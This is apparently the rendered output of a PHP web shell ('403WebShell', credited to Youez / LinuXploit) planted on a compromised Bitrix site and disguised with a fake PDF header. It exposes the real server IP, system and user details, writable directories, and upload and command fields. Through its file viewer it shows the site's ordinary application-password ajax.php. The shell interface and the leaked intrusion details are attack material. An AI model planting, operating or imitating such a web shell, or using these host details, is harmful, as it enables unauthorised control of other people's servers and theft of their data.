%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.14.192.242
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.app.passwords/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.app.passwords/ajax.php
<?php
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

use Bitrix\Main;
use Bitrix\Main\Authentication\ApplicationPasswordTable;
use Bitrix\Main\Authentication\ApplicationManager;
use Bitrix\Main\Web\Json;
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

global $USER;

$answer = array(
	"success" => false,
	"message" => Loc::getMessage("main_app_passwords_ajax_error"),
);

if(!$USER->IsAuthorized())
{
	$answer["message"] = Loc::getMessage("main_app_passwords_ajax_error_auth");
	echo Json::encode($answer);
	die();
}

if(!check_bitrix_sessid())
{
	$answer["message"] = Loc::getMessage("main_app_passwords_ajax_error_sess");
	echo Json::encode($answer);
	die();
}

$context = Bitrix\Main\Context::getCurrent();
$request = $context->getRequest();

if($request->isPost())
{
	$post = $request->getPostList()->toArray();

	$post = Main\Text\Encoding::convertEncoding($post, "UTF-8", $context->getCulture()->getCharset());

	if($post["action"] == "delete" && ($id = intval($post["ID"])) > 0)
	{
		//deleting the application password
		if(ApplicationPasswordTable::getRow(array("filter" => array("=ID" => $id, "=USER_ID" => $USER->GetID()))) !== null)
		{
			$result = ApplicationPasswordTable::delete($id);
			if($result->isSuccess())
			{
				$answer["success"] = true;
				$answer["message"] = Loc::getMessage("main_app_passwords_ajax_deleted");
			}
			else
			{
				$answer["message"] = implode("<br>", $result->getErrorMessages());
			}
		}
	}
	elseif($post["action"] == "add")
	{
		//adding a new application password

		$appManager = ApplicationManager::getInstance();
		$applications = $appManager->getApplications();

		$password = ApplicationPasswordTable::generatePassword();

		if(isset($applications[$post['APPLICATION_ID']]))
		{
			$date = new Main\Type\DateTime();
			$result = ApplicationPasswordTable::add(array(
				'USER_ID' => $USER->GetID(),
				'APPLICATION_ID' => $post['APPLICATION_ID'],
				'PASSWORD' => $password,
				'DATE_CREATE' => $date,
				'COMMENT' => $post['COMMENT'],
				'SYSCOMMENT' => $post['SYSCOMMENT'],
			));
			if($result->isSuccess())
			{
				$answer["success"] = true;
				$answer["id"] = $result->getId();
				$answer["date_create"] = $date->toString();
				$answer["password"] = '<span>'.implode(str_split($password, 4), '</span><span>').'</span>';
			}
			else
			{
				$answer["message"] = implode("<br>", $result->getErrorMessages());
			}
		}
		else
		{
			$answer["message"] = Loc::getMessage("main_app_passwords_ajax_no_app");
		}
	}
}

echo Json::encode($answer);

Youez - 2016 - github.com/yon3zu
LinuXploit